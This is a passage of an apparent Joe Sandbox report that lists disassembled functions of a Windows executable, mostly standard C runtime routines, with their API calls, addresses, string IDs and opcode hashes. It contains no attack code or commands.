                                                              • GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0069D05B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: AddressProc$HandleModule
                                                              • String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
                                                              • API String ID: 667068680-1247241052
                                                              • Opcode ID: a22a23b0036b687f2fb12bc02617fdef63e99b62bdf926dfdd524875aa77e917
                                                              • Instruction ID: 2bbc1054401b5cc1450b7a0d3ff7e760d46a163531f9b5b6d419cf9ab517c2ae
                                                              • Opcode Fuzzy Hash: a22a23b0036b687f2fb12bc02617fdef63e99b62bdf926dfdd524875aa77e917
                                                              • Instruction Fuzzy Hash: 87E0ECF5965610EFC7107F78BC0D9DB3BA6AA057613026236F445D6261EAF605C08F60
                                                              Function 006A09B2 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • type_info::operator==.LIBVCRUNTIME ref: 006A0AD1
                                                              • ___TypeMatch.LIBVCRUNTIME ref: 006A0BDF
                                                              • _UnwindNestedFrames.LIBCMT ref: 006A0D31
                                                              • CallUnexpected.LIBVCRUNTIME ref: 006A0D4C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
                                                              • String ID: csm$csm$csm
                                                              • API String ID: 2751267872-393685449
                                                              • Opcode ID: e68ccdc8cccb49a8e4efd1d0a289426429af1404332edd2a544257446f878fac
                                                              • Instruction ID: b1cbf01de833f977b9b297d580dfa73baad9e22b031478dcb5e377a2e2f62830
                                                              • Opcode Fuzzy Hash: e68ccdc8cccb49a8e4efd1d0a289426429af1404332edd2a544257446f878fac
                                                              • Instruction Fuzzy Hash: 64B16A75800209EFEF24EFA4C9819AEB7B6FF1A314F144159E8126B212D731EE51CF96
                                                              Function 006B9A2A Relevance: 12.2, APIs: 8, Instructions: 248COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: __freea$__alloca_probe_16$Info
                                                              • String ID:
                                                              • API String ID: 127012223-0
                                                              • Opcode ID: b61e5d7e019cda8cd579c497088865faa18a7e9e35fb590d23a8200c3f34f479
                                                              • Instruction ID: 7b93347d76f70cd142d470eb93c36948b94b85395a8146838a3bc06362bbc915
                                                              • Opcode Fuzzy Hash: b61e5d7e019cda8cd579c497088865faa18a7e9e35fb590d23a8200c3f34f479
                                                              • Instruction Fuzzy Hash: DF71D5F2900219ABDF219F649C82BEF7BFBAF45710F250159EA05A7382D7359D8087B4
                                                              Function 0069CCBE Relevance: 12.2, APIs: 8, Instructions: 175COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0069CD07
                                                              • __alloca_probe_16.LIBCMT ref: 0069CD33
                                                              • MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0069CD72
                                                              • LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0069CD8F
                                                              • LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0069CDCE
                                                              • __alloca_probe_16.LIBCMT ref: 0069CDEB
                                                              • LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0069CE2D
                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0069CE50
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiStringWide$__alloca_probe_16
                                                              • String ID:
                                                              • API String ID: 2040435927-0
                                                              • Opcode ID: 726efb5ebaab0caeae65a373520bbfb3bc4f5612df6d47edab0ffe1e5a0ed510
                                                              • Instruction ID: b511acde403d7b95825bc4e60c3b2adbc44af6873af563625f66852f3e097355
                                                              • Opcode Fuzzy Hash: 726efb5ebaab0caeae65a373520bbfb3bc4f5612df6d47edab0ffe1e5a0ed510
                                                              • Instruction Fuzzy Hash: BB51AC7250020AABEF209F64CC45FAB7BAEEF44BA0F104129F916E7690D7319D11DBA0
                                                              Function 006A0480 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _ValidateLocalCookies.LIBCMT ref: 006A04B7
                                                              • ___except_validate_context_record.LIBVCRUNTIME ref: 006A04BF
                                                              • _ValidateLocalCookies.LIBCMT ref: 006A0548
                                                              • __IsNonwritableInCurrentImage.LIBCMT ref: 006A0573
                                                              • _ValidateLocalCookies.LIBCMT ref: 006A05C8
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                              • String ID: csm
                                                              • API String ID: 1170836740-1018135373
                                                              • Opcode ID: cd4b60a29428da3336e47db6dc91bd8dd0adce7148e175e4b0d81c150d84235b
                                                              • Instruction ID: 578f0b9dcdeeb00c925f65e2a500229d30a9cfba90009688c9cc2a8c726fa891
                                                              • Opcode Fuzzy Hash: cd4b60a29428da3336e47db6dc91bd8dd0adce7148e175e4b0d81c150d84235b
                                                              • Instruction Fuzzy Hash: 37418374E00208ABDF10EF68C885ADEBBF6AF46314F148159E8189B392D731EE55CF95
                                                              Function 006A0644 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLastError.KERNEL32(?,?,006A063B,0069ED6A,00699554,D6EB77FD,?,?,?,00000000,006BB1A7,000000FF,?,00696C83,?,?), ref: 006A0652
                                                              • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 006A0660
                                                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006A0679
                                                              • SetLastError.KERNEL32(00000000,?,006A063B,0069ED6A,00699554,D6EB77FD,?,?,?,00000000,006BB1A7,000000FF,?,00696C83,?,?), ref: 006A06CB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ErrorLastValue___vcrt_
                                                              • String ID:
                                                              • API String ID: 3852720340-0
                                                              • Opcode ID: 422bb8b957b1700e42615ff3a5669e9bfd87bdb795803ce6a65a20af50e77037
                                                              • Instruction ID: bdebc7e7424961b49ebc69b5a2489dc2799755d9bbfed1083f05eb1555136d60
                                                              • Opcode Fuzzy Hash: 422bb8b957b1700e42615ff3a5669e9bfd87bdb795803ce6a65a20af50e77037
                                                              • Instruction Fuzzy Hash: D001243222D2215EFB5036B8AC854962A4AFB43379B20532EF930481E2EF514E966948
                                                              Function 0069A784 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 0069A78B
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 0069A795
                                                              • int.LIBCPMT ref: 0069A7AC
                                                                • Part of subcall function 0069400A: std::_Lockit::_Lockit.LIBCPMT ref: 0069401B
                                                                • Part of subcall function 0069400A: std::_Lockit::~_Lockit.LIBCPMT ref: 00694035
                                                              • codecvt.LIBCPMT ref: 0069A7CF
                                                              • std::_Facet_Register.LIBCPMT ref: 0069A7E6
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 0069A806
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
                                                              • String ID:
                                                              • API String ID: 712880209-0
                                                              • Opcode ID: 41697a7e9d9b43ffe2b46763dacb7d5b94a94fb048d82632a8a1d7c8a4e43a16
                                                              • Instruction ID: 673c1488e7db34393af0dfcc739c3f84dfbbda094f82b779cd69834147099090
                                                              • Opcode Fuzzy Hash: 41697a7e9d9b43ffe2b46763dacb7d5b94a94fb048d82632a8a1d7c8a4e43a16
                                                              • Instruction Fuzzy Hash: 8401C0759045159FCF41EBA4C945ABE77FBAF80710F25010DE411AB791CF749E06CB86
                                                              Function 0069BB2D Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 0069BB34
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 0069BB3E
                                                              • int.LIBCPMT ref: 0069BB55
                                                                • Part of subcall function 0069400A: std::_Lockit::_Lockit.LIBCPMT ref: 0069401B
                                                                • Part of subcall function 0069400A: std::_Lockit::~_Lockit.LIBCPMT ref: 00694035
                                                              • codecvt.LIBCPMT ref: 0069BB78
                                                              • std::_Facet_Register.LIBCPMT ref: 0069BB8F
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 0069BBAF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
                                                              • String ID:
                                                              • API String ID: 712880209-0
                                                              • Opcode ID: a77dbd861eb25a1189b9b652c621fee705a26f83bcb1cf0e50f9801d8f6b7440
                                                              • Instruction ID: c207854f114aef2854520115c22f7906269be1ebd83ce5c04bd06e41a040839c
                                                              • Opcode Fuzzy Hash: a77dbd861eb25a1189b9b652c621fee705a26f83bcb1cf0e50f9801d8f6b7440
                                                              • Instruction Fuzzy Hash: 1C01C475900219DFCF01EB68D9456BE7BABBF44710F24010DE4116B7D6CF709E018B98
                                                              Function 006A8AAE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D6EB77FD,?,?,00000000,006BB3CE,000000FF,?,006A8A3E,00000002,?,006A8A12,006A1F66), ref: 006A8AE3
                                                              • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 006A8AF5
                                                              • FreeLibrary.KERNEL32(00000000,?,?,00000000,006BB3CE,000000FF,?,006A8A3E,00000002,?,006A8A12,006A1F66), ref: 006A8B17
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                              • String ID: CorExitProcess$mscoree.dll
                                                              • API String ID: 4061214504-1276376045
                                                              • Opcode ID: 01c03a5e44926b98a3441d58424e14aa3d95b009bd616d8a3bde0980fafa3664
                                                              • Instruction ID: 0e8a80f7568d1ddb7a8331fe5abe5c0a1aab51677161f349d13d3bc72cfc7827
                                                              • Opcode Fuzzy Hash: 01c03a5e44926b98a3441d58424e14aa3d95b009bd616d8a3bde0980fafa3664
                                                              • Instruction Fuzzy Hash: 3D0167B1954629FFDB11AF54DD05FEEBBBAFB04B24F004625F811A22A0DB759A40CB60
                                                              Function 006AFAB1 Relevance: 7.7, APIs: 5, Instructions: 202COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __alloca_probe_16.LIBCMT ref: 006AFB38
                                                              • __alloca_probe_16.LIBCMT ref: 006AFBF9
                                                              • __freea.LIBCMT ref: 006AFC60
                                                                • Part of subcall function 006ADBB9: RtlAllocateHeap.NTDLL(00000000,00698B9B,?,?,0069E744,?,?,?,?,?,0069379B,00698B9B,?,?,?,?), ref: 006ADBEB
                                                              • __freea.LIBCMT ref: 006AFC75
                                                              • __freea.LIBCMT ref: 006AFC85
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: __freea$__alloca_probe_16$AllocateHeap
                                                              • String ID:
                                                              • API String ID: 1423051803-0
                                                              • Opcode ID: 0bc986cbc14bfde6928615847c62279989e08a9e45921180e5ad3b3f11dde73d
                                                              • Instruction ID: b0209715a68e5f2ccfe1b1513b85e12f695c4b2573d5d8a56051f7b38f26de8a
                                                              • Opcode Fuzzy Hash: 0bc986cbc14bfde6928615847c62279989e08a9e45921180e5ad3b3f11dde73d
                                                              • Instruction Fuzzy Hash: 8151B47260010AAFDF21AFE5CC81DFB76AAEF06764B150139FD0AD6251E730CD109BA6
                                                              Function 00699792 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentThreadId.KERNEL32 ref: 006997A6
                                                              • AcquireSRWLockExclusive.KERNEL32(00000000,?,006982F7,?,?,0069599E), ref: 006997C5
                                                              • AcquireSRWLockExclusive.KERNEL32(00000000,?,00000000,?,006982F7,?,?,0069599E), ref: 006997F3
                                                              • TryAcquireSRWLockExclusive.KERNEL32(00000000,?,00000000,?,006982F7,?,?,0069599E), ref: 0069984E
                                                              • TryAcquireSRWLockExclusive.KERNEL32(00000000,?,00000000,?,006982F7,?,?,0069599E), ref: 00699865
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: AcquireExclusiveLock$CurrentThread
                                                              • String ID:
                                                              • API String ID: 66001078-0
                                                              • Opcode ID: 9fb735b92b870201cf4b39e797b7a977e2a881f475404d739b00e51de0823a01
                                                              • Instruction ID: 42a058c78311bde053c03906fd41c0cebae7ddbc53c4fc7d0cd4abe819dfbefb
                                                              • Opcode Fuzzy Hash: 9fb735b92b870201cf4b39e797b7a977e2a881f475404d739b00e51de0823a01
                                                              • Instruction Fuzzy Hash: 9D414771900606DFCF24DF69C6849AAB3BEFB4A320B10492ED456D7A40D731E985CB70
                                                              Function 00699D2D Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 00699D34
                                                              • std::_Lockit::_Lockit.LIBCPMT ref: 00699D3F
                                                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00699DAD
                                                                • Part of subcall function 00699E90: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00699EA8
                                                              • std::locale::_Setgloballocale.LIBCPMT ref: 00699D5A
                                                              • _Yarn.LIBCPMT ref: 00699D70
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
                                                              • String ID:
                                                              • API String ID: 1088826258-0
                                                              • Opcode ID: 559fb983dd556c52ebb45f2912f1fe51ddf6ef68f3a03210a043797f77d1abfa
                                                              • Instruction ID: 1978587bbed228cb8617985225e6d487f137a2bb4faea184383401a55fb7ea8e
                                                              • Opcode Fuzzy Hash: 559fb983dd556c52ebb45f2912f1fe51ddf6ef68f3a03210a043797f77d1abfa
                                                              • Instruction Fuzzy Hash: 0A0188B5A015119FCB46EB24985597D7BABAF85350B04400DE81167781CF34AE42DBE9
                                                              Function 00699615 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __alloca_probe_16.LIBCMT ref: 0069969D
                                                              • RaiseException.KERNEL32(?,?,?,0069864E,?,?,?,?,?,?,?,?,?,?,0069864E,00000001), ref: 006996C2
                                                                • Part of subcall function 0069E79C: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,00698BA9,?,006C7068,?,0000000006:1@0000000005:@), ref: 0069E7FC
                                                                • Part of subcall function 006A1F23: IsProcessorFeaturePresent.KERNEL32(00000017,006AB40A), ref: 006A1F3F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
                                                              • String ID: csm$Si
                                                              • API String ID: 1924019822-3622671422
                                                              • Opcode ID: 82dda1e2488f541f417267c73a88eff3fe951c65e362f876f9bf1c8dd425831a
                                                              • Instruction ID: 24c819a18d58563a4c7ea76c6f3940ad2a84c4c7c6d35b8fed782a26ceed097a
                                                              • Opcode Fuzzy Hash: 82dda1e2488f541f417267c73a88eff3fe951c65e362f876f9bf1c8dd425831a
                                                              • Instruction Fuzzy Hash: 79219A31D01218ABDF24EFD9D945AEEB7BEAF14710F14001EE416ABB50DB30AD45CBA1
                                                              Function 006A1747 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000800,?,006A16F8,?,?,00000000,?,?,?,006A1822,00000002,FlsGetValue,006BE2C8,FlsGetValue), ref: 006A1754
                                                              • GetLastError.KERNEL32(?,006A16F8,?,?,00000000,?,?,?,006A1822,00000002,FlsGetValue,006BE2C8,FlsGetValue,?,?,006A0665), ref: 006A175E
                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 006A1786
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: LibraryLoad$ErrorLast
                                                              • String ID: api-ms-
                                                              • API String ID: 3177248105-2084034818
                                                              • Opcode ID: e3ba8b3fd82d9b5b279ea1af9841df0145f14a55ff89096d0d24bde6079edc8d
                                                              • Instruction ID: 86ce1ef60103372b5023c8404f7ac664755adc3687ca5e6bda8fb88e523fafef
                                                              • Opcode Fuzzy Hash: e3ba8b3fd82d9b5b279ea1af9841df0145f14a55ff89096d0d24bde6079edc8d
                                                              • Instruction Fuzzy Hash: EAE04870784209F7EF103B50DC46BA83F5B9B02B64F105120F90DE81E1DB62DED59D95
                                                              Function 006B007A Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetConsoleOutputCP.KERNEL32(D6EB77FD,00000000,00000000,00000000), ref: 006B00DD
                                                                • Part of subcall function 006B21FC: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,006AFC56,?,00000000,-00000008), ref: 006B22A8
                                                              • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006B0338
                                                              • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 006B0380
                                                              • GetLastError.KERNEL32 ref: 006B0423
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1727182876.0000000000906000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_690000_file.jbxd
                                                              Similarity
                                                              • API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
                                                              • String ID:
                                                              • API String ID: 2112829910-0
                                                              • Opcode ID: 11e4c3f1d2dba41faf476446f23e1c814e2cc4a288bfa282c6d69324b3b541c1
                                                              • Instruction ID: fa429d4248f171b5640e4e953a2a70c1961a33ec88f3bf8c198a85d98622e80b
                                                              • Opcode Fuzzy Hash: 11e4c3f1d2dba41faf476446f23e1c814e2cc4a288bfa282c6d69324b3b541c1
                                                              • Instruction Fuzzy Hash: 8ED178B5E142489FDF15DFA8D8849EEBBF6FF08310F18416AE915EB351D630A982CB50
                                                              Function 006B24BC Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 006B21FC: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,006AFC56,?,00000000,-00000008), ref: 006B22A8
                                                              • GetLastError.KERNEL32 ref: 006B2520
                                                              • __dosmaperr.LIBCMT ref: 006B2527
                                                              • GetLastError.KERNEL32(?,?,?,?), ref: 006B2561
                                                              • __dosmaperr.LIBCMT ref: 006B2568
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1726504410.0000000000691000.00000020.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true
                                                              • Associated: 00000000.00000002.1726488875.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726550503.00000000006BC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1726564750.00000000006C9000.00000004.00000001.01000000.00000003.sdmpDownload File
